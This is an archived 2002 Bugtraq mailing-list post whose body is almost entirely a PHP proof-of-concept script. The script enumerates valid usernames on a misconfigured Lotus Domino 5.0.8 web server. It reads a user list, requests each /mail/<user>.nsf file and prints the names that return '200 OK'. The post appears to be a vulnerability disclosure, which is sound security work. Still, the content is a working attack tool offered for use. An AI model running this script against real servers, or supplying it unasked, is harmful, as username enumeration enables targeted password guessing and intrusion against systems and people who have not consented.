[24046] in bugtraq

home help back first fref pref prev next nref lref last post

Script for find domino's users

daemon@ATHENA.MIT.EDU (Gabriel A. Maggiotti)
Thu Jan 31 14:24:45 2002

Message-ID: <3C597640.517E9BA2@ciudad.com.ar>
Date: Thu, 31 Jan 2002 13:52:16 -0300
From: "Gabriel A. Maggiotti" <gmaggiot@ciudad.com.ar>
Reply-To: gmaggiot@ciudad.com.ar
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

#!/usr/local/bin/php -q
<?
/*
Proof of Concepts Domino 5.0.8 webserver misconfiguration which could
allow
 remote users to determine whether a give username exists on the
vulnerable
 system.

        By Gabriel A Maggiotti <gmaggiot@ciudad.com.ar>
<gmaggiot@qb0x.net>

        URL http://qb0x.net

 */

        if( $argc!=4)
        {
        echo "usage: $argv[0] <host> <userlist> <delay>\n";
        return 1;
        }


$host=$argv[1];
$userlist=$argv[2];


$fd = fopen ($userlist, "r");
while (!feof ($fd)) {
        $user = fgets($fd, 4096);

        $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
        fputs ($fp, "GET /mail/$user.nsf HTTP/1.0\r\n\r\n");
        while (!feof ($fp)) {
                $sniff=fgets($fp,1024);
                if(strpos($sniff,"200 OK")!="") {
                        echo "$user exists!!!\n";
                        break;
                }
        }
        fclose ($fp);
        sleep(3);
}

fclose ($fd);

?>




home help back first fref pref prev next nref lref last post